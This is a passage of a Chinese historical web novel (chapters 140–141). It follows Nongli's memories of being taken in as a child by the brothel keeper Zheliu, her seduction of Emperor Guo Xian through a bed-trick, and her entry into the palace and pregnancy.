郭显将奏疏扔在一边，食指扣着桌案，“哒哒”的声响，落在寂静无闻的寝殿里。 “好啊，这也要走，那也要走，显得是朕亏待了他们。”他瞧不出喜怒，半晌哼了一声，“走便是。走了，再不要回来。” 第140章 第140章何彼秾矣，华如桃李…… “他走了。” 琵琶声久不弹起，多了几缕生涩，却逐渐珠落玉盘，宛然有韵。 折柳开口，是哽喉的涩意，指下却未停，依旧如风拂柳，那串再和美不过的琵琶语声，便泠泠淙淙地入了秾李耳中。 非但琵琶，无论笙、箫、笛、琴，折柳都能信手拈来，指下生春。秾李的琵琶也精熟，便是她亲手所教。 折柳曾是她见过最华艳的人，到如今也仍是风韵，但总是不再青春，熬红 了双眼，平添几分憔悴可怜。 就像她一路行来，所见廊庑下喜庆的灯彩与壁衣，是两个月前，单铮与她明媒正娶时所张挂在家宅里，为着折柳喜欢，便一直未撤下。风雨一吹，便憔悴了几分颜色。 秾李问：“姐姐为何不拦住他？” 折柳恹恹地，龙香木的拨子弦上划过，发出一串烦闷的弦鸣。 “我如何能拦住他？”她话里有种无能为力的绝望，“没有仇恨，就没有他。如今他为复仇而去，我若拦下了他，那个单铮便死了。” 秾李不大理解，“可以他一而再再而三地忤逆君心，便是立下赫赫战功又如何？下场非死即伤啊！” 折柳垂下眉眼。琵琶声歇，一室荒凉的寂静。 秾李说不出安慰的话来。她心头梳理单铮一路行来的种种，忽觉姐姐实不该打他的主意，从一开始，路便走错了。 或许自林江啸身死，她们姊妹便该离了那股贼匪，另寻个生计。 只是那时兵荒马乱，两个女子，又能寻着什么生计？折柳若不死皮赖脸地留在那伙人里，恐怕她两个到头来仍旧要落得个倚栏卖笑的地步。 哪是赵芳庭逼她们到了这一步，分明是命运推着她们，一步步到了如今。 她眼睁睁瞧着、等着，似乎瞧见了折柳可以预见的惨淡结局。 ——她将会随着单铮的陷落而陷落，随着他而香消玉殒。 秾李打了个寒噤，回过神，仍瞧见折柳心不在焉地蹙眉发怔。 折柳忽问，喃喃地有些伤心，“我从前一向盼着赵芳庭死。这会想来，若那人还活着，他未必会走到今日这一步吧？” 秾李不答，只安静而锐利地盯着她。 半晌，她放缓了目光，将一只手搭在折柳手上，柔声劝慰，“死者已矣，再说这话有什么用呢？不如想想咱们的出路。” 脑中想的却是：若他不死，你哪还有生路？ “你知道吗？”折柳忽笑了，面色仍是苍白，“他临行前，留了一箱财货与我。好大的数目，抵得上我那些年所得的十倍之多了。他又为我得罪过郑将军，现去了边关，怎能与之相处？他若当初应肯，与郑将军结了姻亲，朝中好歹还有个根基，全是我坏了他的事。他此一去，满可拥兵西凉府，再不回京受制于人，又是我拖累了他……” 她絮絮地念叨，秾李静静地听，捂不热那只手，自己的手心也冰凉。 罢了，秾李同她用了午食，辞时叫她放心，“单将军是我家官人的恩人，他二人又有生死的交情。我回去同官人说一说，请他出个主意，必能保全了单将军。” 折柳不迭地点头，又叮嘱了数语，殷殷送她离去，满目中是重燃起的希望。 秾李上马车离去，在她瞧不见的背身处，宽慰笃定的容色蓦地卸下，由心头升起的茫然蓦地沉重压来，在昏暗的车厢里被无尽放大。 她被挤占了空间，渺小又卑微地缩在一角，无力地想，吴览又能做什么呢？他连辞官的奏疏都呈上去了。 自那半截玉笛后，他们再未亲近过，吴览与其说是厌恶她的行事，不如说是自弃。他同样厌恶自己的同流合污——抉择摆在眼前，他投向了郭显，而选择向单铮隐瞒。 马车平缓，她一路浑浑噩噩地想，不知不觉便到了家；下地的那一瞬，思绪重又变得清明。无论情势怎样如恶潮，她但得有一根定了心的锚，便任惊涛乱卷，也失不掉方向。 那根锚便是折柳。无论怎样，她得护她。 吴览想要辞官。 这事他已告与秾李，今晨得知她去了单将军宅，待到日午方回。他下了朝，独自一人坐于书房，冥思良久，终于下定了决心。 恰逢女使来请，道秾李娘子请去用晚食，吴览应后，心中叹息。 他与秾李，到底非一路人，从前因着怜爱与私欲，拧在一起以为和美，其实不过是她有意逢迎而已。如今他既愿辞官，想着回乡守妻女的坟茔，更无可能强捆着她一道。 晚食是秾李亲自下厨，因着早春，又兼入黄昏寒冷，尽是暖暖和和的热食，酒鸡酿鸭、盘兔旋炙、煎鹌子、紫苏鱼，又有羹蔬醪糟，温了暖口暖心的热酒，只待他能多用一时，二人说一会话。 她侍奉自己，从来尽心。吴览瞧这满桌满盘的佳肴，忽想到，她晓得他爱吃什么、爱哪一口酒，甚至爱用哪一双筷，却从来只道自己样样皆可。到今日，他竟不知她真心爱什么。 屋中点着炭火，暖烘烘的。秾李伺候他坐下，褪了氅衣。吴览道：“如今不似从前，家中许多僮仆女使，你何必亲自整治酒菜？” 秾李道：“无妨，他们做我嫌不尽心。这二年来为你也做惯了。” 吴览心头又起了愧疚。 秾李为他布菜，又斟了酒对饮，酒入心肠，新添了辣意与涩意。吴览酒力尚可，今日却借故有些醉，红着脸，将平日里听了都嫌齿冷的话，委婉地道来： “我已呈了辞官的奏疏，你晓得的。我祖籍在舒州，自数载为官，多年未归。前三年将辛娘与彩儿的坟茔迁了回乡，因身份上尴尬，竟也不曾去吊过。这是我不孝不亲的罪过。我打算辞官后，便回故里，残剩半生，也算是落叶归根。” 秾李并不意外，点了点头，“官人回了故地，想要做些什么呢？躬耕的话，未免辜负了您一身才学。” “我已四十有三，筋骨日渐衰朽，哪还能躬耕劳作？”吴览想到今后情形，不免微微笑起来，驱散了些阴霾，“便支应个馆学，收几个村童弟子，将书念一念罢了。” 秾李一盏酒饮下，颧上红润润地起了鲜妍的光彩。吴览所见的女子中，青春妖娆的也强胜于她，却无一有她如此聪慧的风情。 “那，我呢？”她问，“官人将我安置在哪里？” 吴览目光无法与她相视。他做不到问心无愧，便愈发羞惭，但牙一咬，终将话说出口：“秾李，我归乡但只一人，你……自去吧，我将所余钱财尽数予你。” 秾李静而柔和地瞧着他，并无他预想中的惊愕或伤怀，不过轻轻地叹了口气。 “我已想到有这一日。”她缓缓道。 吴览无言，眼瞧她独自饮了二三杯，面色愈红，眼眸里也有了雾一般的湿润。 半晌，秾李道：“官人，你可曾想过，你因辜负了单将军而心中懊悔，不愿再做郭氏的官；可若你一走，他在朝堂岂不更势单力孤？” 吴览摇头，面现颓丧，“我救不了他，何不早去。” 如同折柳拦不住单铮，吴览同样也救不了单铮。自古成王败寇，以单铮英杰，有项羽之勇，又 有刘邦之雄，输便输在他竟同时有着兼爱天下的仁义。 他做不了枭雄，草菅人命而逐天下；也不能自污自弃，使人主卧榻安心。从他向郭显称臣的那一刻起，他便没有了后路。 秾李与吴览一样，洞彻这一点。平心而论，对于单铮，她并无特殊的崇敬。她只想拉折柳一把。 “官人所求，与我不同。无论是我强留您在京，还是随您回乡，咱们都会彼此不睦，不如便各自离分。”她道，“您没有对不住我的地方。当初若不是您，我与姐姐几无立锥之地。人各有志，您守亲眷的坟茔，我归在姐姐身旁，与她同进退，也是一种圆满。” 吴览皱眉，“单将军此次盗兵出征，已是大忌。折柳娘子下场未必中意，你又何必……” 秾李微抬手，以一个柔和的目光止住了他的话头。 他们二人仿佛交谈的不是各自的命途，而是家常的琐事一般。吴览却只觉平静之中自有一股骇人的潜流。他心底逐渐不安起来。 “官人想必觉着我傻。我想与官人讲讲我幼时的事，您便不难懂我了。” 逐渐灯昏夜深，一壶酒罄尽，不知不觉烛火也变得悠长，摇晃得壁上一双人影幢幢。吴览随着她的话，仿佛年岁倒转，回到了她娓娓道来的那些岁月。 【幼年的记忆十分模糊，从前的事她一应不记，只依稀从某一日起，忽而明亮起来。 她坐在道旁，因着饿与冷，茫然只晓得哭。白日里行人忙忙碌碌，无人肯顾她一眼，偶有善心的，扔过去一角干饼，她便接过来吃了。 夜里是最难熬的，风呼呼地刮进她衣襟，刀子似的；不知哪一条深黑的巷里，又总有凶恶的狗追逐来，冲着她狂吠。 狗咬她，她跑便跑开了。她最怕的，还是人。人竟不如兽，她跑也跑不开。直到一日，她误打误撞，到了一处高大朱翠的门楣前。四面的屋舍，没有修得这样花花绿绿的，彩楼下挂着栀子灯，瓠瓜似的可爱。一入了夜，神仙似的娘子便点亮了烛盏，那栀子灯亮起来，驱散了浓而可怕的黑暗。 又有多少衣饰华丽的郎君官人们进进出出，几乎踏破了此间的门槛。欢声笑语，直闹到三更后，才渐渐冷落。她安心睡在光亮里，不过一个时辰，天亮后，自有人将些残羹冷炙一股脑倾出，她便捡了，竟也能吃野兔獐子鼋鱼之类的美味。 那门楣的匾上三字，很久之后，她方认得，写作“青玉阁”。 过了些日，后门里丢出来个磕了沿的破瓷碗，并一双竹木的筷子，她不知它们因有什么毛病才被弃了，只觉那碗上花朵好看，筷子也崭新，便收作己用。 那一日黄昏，出来的是个年轻漂亮的娘子，便是一向拨灯点烛的那个，挑着一双柳叶似的弯弯的眉，两只眼儿又大又亮，穿得一尘不染，连鞋底子都是干干净净的。她忙躲到一边，却见那娘子一手窝着汤婆，一手舀着个瓢，瓢里咕嘟嘟杂着米面肉菜混合的香气。 那娘子唤猫儿狗儿似的，不大耐烦地将她唤来，“怎么还讹上我家了，真是……碗！” 她愣了半晌，忙将碗捧过去。娘子的瓢一扣，咕嘟嘟热气的羹菜便落进碗里，香味直冲她天灵盖。 那是一顿再美味不过的佳肴。 自那之后，她的日子过得奇妙起来。 那位娘子时常与瓢同来。她来时有热腾腾的粥或饭菜；她不来时，里头隔三差五总抛出些怪模怪样的东西，好比絮了绵的窄褥子、长短不一的木板条、涂了桐油的纸伞，竟还有几双厚底的布鞋。她将一应琐碎都捡拾起来，在那一间后门的拐角，悄悄为自己搭了间小屋。虽比人家狗笼也不如，到底算是有了家。 就这么拉拉杂杂，在那娘子的院墙外住了下来，一住便是半年。 天光渐暖，日子好过了许多。她手上的冻疮结了疤，又褪了疤；身穿的是那屋里扔出来的衣裳，很合身，想来是里头那几位稍长的小娘子们穿不下的衣裙。屋里时常传出些丝竹之声，很是动听，她听得也很是快活。 直到一日，那娘子午时打着哈欠出来，没带着瓢，手里却抓着把瓜子，门口绣墩上一坐，眯着眼冲盹儿，嘴皮子却利索得很，一会儿，磕了一大把，末了瞧瞧“狗笼”里的她，唇角一挑，招招手，“来。” 她羞赧地挨过去，娘子捏着鼻子，给了她剩下的瓜子。 瓜子浸了糖，沁甜鲜美。那娘子瞧她又惊奇又喜欢的模样，开口问：“小乞儿，你有名姓没有？” 那是此生，折柳与她说的第一句话。 那时她噙着瓜子不敢咽，小声地吞吞吐吐回答“有，叫李家丫头。” 对方哈哈大笑，笑得眼泪都出来了，“李家丫头？什么破名儿！” 她忽觉着很羞惭，低了脑袋不说话。 娘子又问：“你家哪儿的？家大人怎么就扔了你在外头？” 她茫然摇头，并不懂这话。娘子再问：“你娘呢？” “我娘睡了，被他们拉走了。”她老老实实回答。 娘子便不笑了，拿奇怪的眼神扫量她，半晌叹了一声，不再与她搭话，晒了会日头，便进去了。 她只以为是自己的话惹了娘子生气，胆战心惊的，好容易挨到傍晚，得了对方的晚食，憋红了脸，蚊子哼似的，“神仙娘娘，你莫气。” 娘子没说什么，又回了。半晌却旋身出来，抬高了下巴，有些傲慢的神气，“我叫折柳，甭瞎喊！” 自此，她便在心里暗暗将这位娘子从“神仙娘娘”换作了“折柳娘子”。 那时她不过五六岁，尚不懂什么是营生，只觉折柳娘子的日子过得热热闹闹，并心生了艳羡。她也歆羡那几个里头的小娘子，她们有吃有穿，识得字、学得琴。她们唤折柳“娘”。 做她家的女孩儿，想必是很好的事。只是她自有娘亲，不是折柳的孩儿。 成日成月，又过夏入了秋。 一日，折柳板着脸，给了她饭食，却开口：“李家丫头，你走吧。” 她慌了，捧着瓷碗，“走、走去哪里？” “做女使、做养娘。我给你洗刷净了，再舍你套衣裳，往后别来了。”她语气硬梆梆的，有些恼怒，“我这处不养正经的女娘，你又不是我买来的，没得丢人现眼。过来！” 她直觉折柳是要将她“洗刷净”，再而要赶走，眼中射出了惶惑的恐惧，头一回不似只狗儿，教她一招便去，反退了一步，抿着嘴跑了。 后头传来折柳气冲冲的咒骂声。 …… 翌日，秋光晴明。过了日午，她怏怏地回了，缩在折柳笑话过的“狗笼”里，只因无处可去，肚子又饿。 一个女孩儿出门来，瞧着要掀她撑伞的“屋顶”，手才伸，教她吓了一跳，冲里叫道：“娘，她还在呢！” 折柳抱怨着出了来，将眼眯着，透过晌午的日光瞧她，“又回来作甚？当真赶不走了……” 她目光凝住了，将女孩儿赶回屋，又将她死拖活拽从逼仄的阴影里掐了出来，寒着脸上下一打量。她在这目光下似无所遁形，提了提昨夜里失掉腰绳的裤子，从她手下挣出来。 折柳什么话也没问，却指着门里边，“进去。” 她给她洗了个大澡，从头至脚，换了四大桶水，将大小虱子乱窜的蓬发剪得干干净净，指甲缝里也不许留一点泥。虽动作粗鲁，却奇异地很轻柔，落在她身上，一毫儿不似昨夜里的人，教她难受。 折柳洗到她一年来长了些肉的大腿，咬着牙骂了一声，“下贱的穷鬼！” 她一缩，折柳将她提溜回来，“不是骂你！” 折腾了一通，她万不敢信，今日竟交了天大的好运，整整齐齐地立在这一片方砖铺的院落里，穿了再洁净不过的衣裙鞋袜，虽光着的脑袋有些冷飕飕的。她捂着头，龇牙笑了起来。 折柳却很糟心，“你是什么都不晓得啊……” 她围着她，转了一圈，啧了几声。院儿里几个小娘子都围来瞧看，嘲笑她的秃脑袋。她们各个都俊俏可爱，玉娃娃似的。 “她真丑！”那个叫白露的女孩儿道。 “长开了不比你差。”折柳不耐地挥挥手，又将人通通赶进内院，“练琴去练琴去！” 折柳将她带进了一间尽是陈设的屋子，那些瓶、鼎、架、案瞧得她眼花缭乱。她被折柳按在一张椅上，那椅过分得宽大。 “你晓得我这处是做什么的？”折柳问。 她不安地坐在椅子里，摇摇头。 折柳嗤笑，“就是做你昨夜那种事的。” 她惊恐起来。折柳赶在她跳起来之前，又道：“好不到哪儿去，但总要好些——他们给钱，也能等得你大些。” 她战战兢兢问：“多、多大？” 折柳道：“十四……十五吧，我说了算。” 她一下又放了心，乖顺地缩在椅子里。折柳有一时面色很复杂，蹙起了弯弯的眉头，却更有一种令人自惭形秽的美丽。 “你无处可去，呆呆蠢蠢的，做人家养娘恐也难得。我在此间名声不好，也难将你付个正经人家。”她盘算着与她说话，仿佛对面是个与自己一般大小、而不是几岁大的娃娃，“我自可以收留你，只是也不养闲人。你入了我的门，便要随我操这一行营生。不光彩，也没名节，但总有饭吃。” 她便忽有些明白，自离了母亲身边，所遇的那些事，原来是“不光彩”的。 前者是不光彩、也没饭吃；如今是不光彩，却能填饱肚子。 于是，她努力做出大人的成熟，点头答应，“我愿的。” 折柳又叹了一声，想了更长的时间，想定了，便开口：“成，你姓李，我给你改个名儿。你今日起，便唤作秾李了。” 何彼秾矣，华如桃李。 她一般吃、一般穿、一般学、一般挨折柳的板子。 她与折柳一般，过上了不光彩、但有饭吃的日子，直到林江啸的人踹开青玉阁的大门，世界天翻地覆。】 吴览静静听她说完了过往，面有微微的不忍，三分醉意已心头褪去，说话十分冷静，“她并非全然为你。这些年来，你所能答报的也尽够了。如今各人四散，你何必非得与她在一条船上？做自己的事，不好么？” “做什么？我因她而生，长在她手心里，她便是我的天。”秾李尽所能与他解释，但究其根本，其实连自个儿也不能解透，“好比一只兽——虎、熊，或恶犬，我长在它肚子里，吃的是它的血肉，它去哪儿，我便跟着去哪儿；它冲谁吠，我便憎恨谁。我不是自己的，我是它的。若有朝一日，它 死了，或将我从它肚中剖出来，我也活不成。外头的天、地、风、水，我都不想要。我只想回到它肚腹里去。” 吴览默然。 “官人，求您帮我。”她道。 他有些无力，“我能帮你什么呢？” 秾李目视他的眼眸，看进他心里，一字一句：“您帮我，笼络天子一宵。” 他眸中终于有了震骇的神采，面色先涨得紫红，又变为铁青，将话从牙缝中挤出来：“你疯了不成！” “成败与否，我总得一试。”她下了孤注一掷的决心，却更加冷静，“天子坐拥四海，多纳一个妇人，算不得什么。他若连这点随心所欲都不能，还称作什么帝王？倒是您，您口口声声愧对单将军，如今他有一线生机得活，您难道顾念男人的脸面，不愿为此事尽心么？” 吴览被她激得心内如针扎，酒菜再难下咽，所闻之事又太损人伦，豁然立起，又僵立了半晌，末了颓然应答：“你教我想想。我……我想想。” 秾李微低了低头，以答谢意，起身送他离去。 他消失在院口的背影有些气急败坏，匆匆逃窜似的。但秾李晓得，他会应允。 他是君子，君子如璧玉。白璧微瑕，他已为那一库的公用钱懊悔终身；单铮之事，又怎能不在他心中终日噬咬？他向单铮隐瞒了那半支玉笛，总也想有个法子，加以补救。 果然，不出所料，未至深夜，她才要睡下，外头女使传来回话：“官人说了，三日后是旬假休朝。他前一日将请官家赏临，望娘子早做准备，备晚食佳肴，以迎圣驾。” 他应下了。秾李吹熄了灯烛，独自安寝，睁眼望着昏黑床帐的顶，缓缓地叹息了一声，终于有了安心的笑意。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-150 第141章 第141章李下自有人，辟草成蹊…… 宁德元年，三月十九。 秾李将酒菜早已备得，不是什么山珍海味，也不必大排大办；天子宫闱里御膳时的舞乐一应皆无，果真这一回再清素不过。 就像她笃定吴览会应下此事，吴览也笃定天子必会亲临。郭显与他做脸，这是一个臣子莫大的荣耀。 黄昏即至，郭显乘着一辆紫衣皮饰的轩车而来，虽不是规制的銮驾，明眼人却也极易识得。殿前司的御卫扮作扈从，随侍左右，几步一哨，将吴览家宅守得严严实实。 好在与天子对座饮酒的是吴览，侑酒的只秾李一个，否则僮仆们一一盘诘搜检一回，好生败兴。 郭显此来，一是为君臣亲近，二则也想借此时机，探探吴览的心意。若能许以加官进禄，唤得他回心转意，不再提那辞官的事，即便他要个三公的名衔，也不是不可破例。 毕竟人才难得，死心眼、少私欲的人才更是千金难求。 君臣入花厅饮酒。说是花厅，实则由后宅院里一间内室布置而成，饰玉的红绡帘帏以金钩挽起，微露里间围榻一张。桌酒佳肴，君臣寒暄落座，对饮了一杯，又说些近日家常的话。 郭显问他家中亲人。吴览道：“我母已故，家父高迈，不愿离乡。臣便在祖籍舒州起了宅院，雇买僮仆，使家父晚年安闲。” “舒州风物合宜，却到底远在江淮，不如将父祖亲人接来洛京，见一见地博物繁的景象。”郭显道。 吴览笑了笑，推说故土难离。郭显并不较真，而后与他饮酒。 秾李在一旁递酒布菜，并不张挑风情，只是本分行事，进退十分得度。 那酒尤其辛辣，色泽淡金，也不知怎样蒸得，虽比不得光禄寺所酿的浓醇，入了口，却一路火烧火燎地滚过喉舌，烫进了肚中。郭显不由赞了一声，“这酒尤其性烈，观石从哪里得来？回头朕取个方子，教光禄寺那帮人照法儿蒸酿。” “此是秾李使人酿得，臣糊涂，只是贪饮，并不解其方。”吴览道。 郭显于是转向秾李。秾李乖觉，并不藏私，囫囵说了个方儿，“不过器皿上讲究些。使一木甑，甑下火燎，甑上又有物以盛初酿的酒，其间引一管入瓯。将火烧了，那酒便愈蒸愈烈，如此滚上三滚，自比普通熟酒更烈一些，只是失了甜醇。” 郭显听得意动，不觉想得更深了些，“虽少甜醇，却能发起热性。边关苦寒，若将此法与将士们传用，必然合宜。” 他面上每一入微的神情，皆落在吴览眼中，几日来的难堪与忧虑倒不显得那样沉重了。 “怎么？”直到对面传来天子关切的询问，吴览才发觉，自己嘴角竟扬起了些微的笑意。 他定了定神，道了一句：“陛下圣明。” 郭显自登基，每日里要从无数人口中听得无数遍这样一句。但他盯着吴览，发觉吴览的神容里没有恭维，那是再真心实意不过的一句夸赞。 许是烈酒发性，郭显对他，终不再弯弯折折地试探，直问出口：“观石可为我留下？纵然宦途不比莼羹鲈脍使人悦意，但有君辅佐一日，我便如披裘袄，抵得高处寒意。我愿求良才，观石与我，岂止是良才可比？失你一人，我好比鸟失一翼，观石不效于我，难道不怜悯天下苍生么？” 天下至主，将话说到如此份上，已是剖露肺腑。吴览也饮了烈酒，心肠里如火烧，两股截然不同的情绪在心中冲撞，撕扯得他没由来地生疼。 辛辛劳劳为官廿载，他无时无刻不渴求有一明君，窥见他一片朗朗的忠心、辅国的明智；也无数次下定决心，哪怕有朝一日身登高位，也绝不忘体恤的心意，他将要以一身之学，为君王、为百姓、为千秋的基业呕心沥血。只是一场又一场的大梦醒来，他仍是米粒一样的卑品县官，磨勘转调，被刁难、被苛责，被上峰轻描淡写地拿走一次又一次的政绩。 他尚可不在乎外显的名声，踏踏实实为民求利；到头来七尺之躯，却连妻小也保不住，落得以身从贼。 忠心不可一改再改，热血早已一凉再凉。他保不住妻小，又保不住单铮，与秾李诀别，将她推向风口浪尖处。 郭显还在等他答复。 吴览缓缓地、坚定地摇了摇头，从未觉着如此疲惫，“陛下，人生难得八十，臣已寿过其半。年少时踔厉苦读，满心指望出人头地，从无一日敢图宽闲；青年时仕途为宦，三年一转，飘蓬各方，从无安定之处。运途舛途又忽顾我，臣失至爱，反得了青云，至此方知尘世渺渺，凡人皆是恒河沙粒，何必争得一世不休呢？臣忝年四十，方才了悟此理，所幸尚残半生，放下未晚。臣在乡野，一样祈年上苍，愿祝陛下基业千秋，绵泽世人。” 郭显听罢，默默无言，半晌执杯举向，道：“我自幼长在人心欲壑之 地，少见君子，观石当之无愧是其一。我敬君子，愿赠千金伴君归乡。观石莫辞，全我千金买骨之念。” 吴览便不再推辞财白赠受，领了天子心意，还杯相敬。二人以朋友之义，推杯换盏，尽了君臣的恩情。 郭显醉得有些深，便从了吴览之言，留宿一晚。按常理，这不是为君的圣明之道。 他四肢有些沉重，头脑也昏沉，灵台却还很清醒，便想得透彻：凡事哪能都按常理来呢？按常理，也轮不到他来做皇帝。 他便躺在柔软的被褥里，闻着淡淡燎过的安神合香的气息，醉沉沉地吩咐，“备漱洗。” 外头有人脚步轻灵，搁了热水架上，拧来手巾为他擦脸。那水里添了蔷薇花露，隐隐的一缕淡香，十分似女儿家的柔软。他依稀记得，应怜身上曾有过这样的淡香，像露，一拂就散。 他抓不住真切，便伸出手去，想捞着些什么。本以为是彩云，空空地无影，却意外地攥住了个物事。 睁开眼，眼前半跪半坐，却是个温柔貌美的女子。他揉了揉额，出了口气，“怎么是你？” 秾李将一条腿屈起，如今全然跪坐在他身侧，被他攥着腕子，也不挣脱，只是道：“妾来侍奉官家安寝。” 郭显将眼眯起，俊美的脸上一瞬有了些空洞的神情，扔了她腕子，却也未起身就走，反问：“这是何意？吴观石为辞官，又不为加官，为何遣你来做奴婢的活儿？” 秾李只拉着他的手，每根手指，都细细地擦净一遍，又捧了牙香盥瓯来，请他漱口。 她侍奉得到位，郭显便顺着手用了。间隙，秾李道：“吴官人将回乡，守在妻女的坟茔旁。他夫妻和美二十载，自不愿添个侍妾在旁。妾如今，是自由身了。” 郭显漱净了口，略顿了顿，转头瞧向秾李，半垂眼眸半垂首，半缕发落颊腮面，那面也微红，眼也微红，无端地楚楚可怜，气质不与平日相类，倒有些…… 许是灯烛晃眼。他移开心神，将脑海中忽又盘旋不去的应怜的身影撇去。 “是他厌了你那玉笛的心计？”他问。 秾李侍奉他宽衣脱靴，未答言，也未离去，反道了一句不相干的，“官家方才瞧妾，心中想的是谁？” 郭显感到一股被窥破后的恼羞成怒，这感觉久不曾有，竟令他觉察出几分另类的新鲜。 他的目光真正落在了她身上。 秾李样貌生得好，自有一种沉静柔和的气质，无论心计城府如何，灯下观美人，自然是赏心悦目的。 秾李点到即止，并不当真戳破他，而再度开口：“人主之欲，如笼中之兽，锁柄只在一念之间。官家将这兽平日里锁在笼中，它憋闷得狠了，坐成了病，终有一日心锁断开，猛兽出笼，谁能挟制？” 郭显挑了挑眉，觉着她话中有话，“依你之见，如何行事？” 红绡玉帘内，倚墙榻有三围，饰的是青松远山与云烟。围缺处，是活色生香，美人臻首，缓缓下拜。 “妾不才，伎俩浅薄，但使得一物。”再抬首时，那一缕缕风情便自她眼眸里流泻出，有了些色授魂与的笑意，“此物唤作‘游仙枕’。” 软枕、高枕、竹枕、缀玉枕。 阖天下，他却从未见过游仙枕。 “枕在何处？”他问。 秾李身着素淡天青的褙子，长衣任敞，露着里头窄窄紧紧的腰身。那半截有一根绦带，她褪了褙子，散了绦带。薄衫轻小，杏花红的抹胸向下一收，现了象牙白一截细软腰肢。 她将那绦带覆向他眼睑，使他闭目，微微撤身时，耳畔说的是：“妾便是游仙枕，枕上一霄，君可放任笼中兽出。” 烛火被吹熄，短短的一刹，郭显生出扯开蒙眼的绦带的冲动。只在他念头即将付行之际，瞑晦幽暗处，身畔一个声音响起：“殿下，是我。” 他猛地僵住。 那声音浅浅的，仿佛不笑时也带着笑意，嗓音里浸了霜糖与蜜的甜。 他近来愈多地想到这声音，无论在白日游湖苑，或寝时孤枕上。渐渐地由声音想到那双眼眸。他再未见过一双比之更令人心魄摇动的眸子，那里头波光曳曳，岚雾轻舒，眨一眨，笑一笑，便是三月春朝千金也难得的晴暄景致。 他也愈来愈多地有这样一念：作为天下至高的人主，若连一个妇人也摘不到手，苦苦地孤枕难眠，岂不是过于可笑了点？ 那冲动在心底升腾如火，伴着酒意，复又侵占了他的头脑。他在绦带下执意睁开眼，恍惚见了窈窕绰约的一个影子，分明是她模样，虽瞧不真切，却足以想象她在幽夜之中，在他垂盼之下，巧笑倩兮的模样。 郭显不由分说，将那人一把拽过来，力道之大、之急，连自己也惊了惊。 她被带得与他一同倒在围榻间，略略撑着身子，急促地呼吸。郭显翻身将她压下，嗅着那细细的颈项上一般无二的淡香，终将那一头猛兽毫无顾忌地释放出来。 “惜奴……”他借着沉醉，头一回唤出她小字，吻了上去。 一宿放任的错乱，郭显再回想时，只觉可笑。 不知是秾李刻意攀附可笑，还是自己着意放纵可笑；不知是他将错就错可笑，还是对应怜浅薄的执念可笑。 既荒诞，又可笑，他终于踏出了作为天子、为所欲为的第一步。 既做下了，没得翻脸不认。郭显自认还不至于脸皮比城墙厚，翌日晨起，得了秾李侍奉盥洗后，便令她同乘轩车，折回了宫禁。 此时后宫尚无主，一应事皆由先帝的顺成皇后——如今已升为顺成皇太后——代管。他携个妇人回宫，自然要经顺成皇太后过问。 顺成皇太后章氏来与他询问封策之事，又探听此女来历。郭显全不隐瞒，将她出身及江宁识得的种种，捡梗概与章氏说了。 章氏回宫时，憋得脸面发绿。女官来问秾李的品秩，章氏贤惠，只摆了摆手，“哪有什么品秩，无品，册个御侍罢了。” 有些讳言的事，天子可以说与她，她却不可说与旁人。关于秾李的出处，她谨记讳莫如深，只道是市井人家养出来的，册了御侍，宫殿三千，随指了一间与她，便不再亲问，忙眼前这一批选良家子充后宫的事去了。 自此，凡世之中，再无秾李；深宫里却不起眼地悄悄多了个李御侍。 三月时日不满百，一晃而过。 郭显初处理政事，尽是些烂摊子。近的是郭禧好大喜功遗下的，远的是先帝任人唯亲遗下的；自然，还有更远的，那是他们共同的好爹爹理宗皇帝昏聩无道了四十年积下的。 理宗皇帝有着一串长长的美谥，贻下的祸患也比前头任何一个皇帝都大。郭显忙着补锅，昏天黑地，几已忘了后宫里某处还有个李御侍。 他忘了，有人却没忘。三个月后，顺成皇太后特地穿了常服，喜气洋洋地扣进垂拱殿侧殿书房的大门，恰值天子才与元翰林商谈政事毕，元羲行一礼，自然告退。 郭显恭敬与章氏行礼，问：“太后如何到了前殿？今日有何要事么？” 华服宝冠的章氏反倒糊涂了，疑惑道：“才使女官来传报，怎么，官家竟不晓得？” 外头廊下尴尬侍立着女官，轻轻出声咳了咳。 郭显恍然，“是有此事，朕与元翰林议到要紧处，教她外头候着了。” 说罢唤人进来。章氏笑道：“也不必她开口了，老身自来报喜，李御侍承恩，已有了身子。此儿虽非嫡出，到底是宫里头一个，一般的金贵。老身此来，为的便是与官家商量进封之事。阿李有孕，御侍之位便不合宜了，官家觉着，哪一品秩恰合？” 郭显沉默，一向不露声色的面容上难得显出了震惊的神情。 “孩儿？”他初觉陌生，甚至花了一会子回想李御侍为何人，而后越发地惊讶，“……朕的，孩儿？” 顺成皇太后以过来人的姿态，笑吟吟地望着他。 郭显才动了动，第一是回身向御书案上、 厚厚的那一沓奏疏里，翻找出其中两本。他并未一字提及加封，后脖颈处却涌来了一波又一波热意，密密地起了些汗。 章氏莫名其妙地盯着他，半晌见他攥着奏疏，交与自己，“这是尚书内省的札子，一议立后、二议选嫔妃。朕本已批允了，如今既宫妃有孕，便拖上一拖。” 照理说来，这位李御侍，应当很得圣心了。章氏暗暗地揣测，却也不对，自她入宫后，官家分明一回也未幸过，不闻不问。怎么却单为她延了立后选妃的大事？ 只是天子之语便是谕令。章氏进一步道：“选妃可延，立后却要紧，万不可再拖到明年去，顶多三五个月罢了。” “那便五个月。”郭显道，“待她坐稳了身子不迟。” 章氏依命，又议了品秩，与郭显定准正二品的修容，这才稳稳而去；回寝宫的路上，追忆旧事，在踏入寝殿的那一刻，终恍然大悟。 早在十多年前，长一辈的宫妃们尚呼唤郭显乳名。他乳名迟儿。 迟儿迟儿，迟迟不来，生生熬死了他的母亲。那位嫔妃……唤作什么来着？ 章氏记不清了。那已是多少年的旧事。她只是有所耳闻，据说那位没福的娘子正是因坐胎未稳时，逢了采女入宫，与某位不懂事的嫔妃因口角冲撞，伤了胎气，这才难产而亡。 迟儿才离娘胎，便抱在元慈太皇太后膝下，说是待如亲子，实则内里辛酸苦辣，只他自个儿知道。 如今他不再是没娘的孩儿。他成了帝王，帝王无私爱，到底不是没心肝。他也盼自己的孩儿有个生母照料。 新入暑夏，虽燥热，章氏却还不敢用冰，怕寒伤了内里。宫人为她打扇，见她面上隐隐怜悯的笑意，便道：“太后这是想起哪家的好女孩儿了，才这般的喜爱！” 章氏叹了声，命人将后宫内苑各处的图册拿来看，为即将封品的李修容新择一居处，“我想那宫人阿李，因着有了天家后嗣，往后便一步登天了。她是个有后福的……哎，太上皇从前的修容们都住哪儿？那里头器物陈设有现成的规矩，免得内造劳动了。” 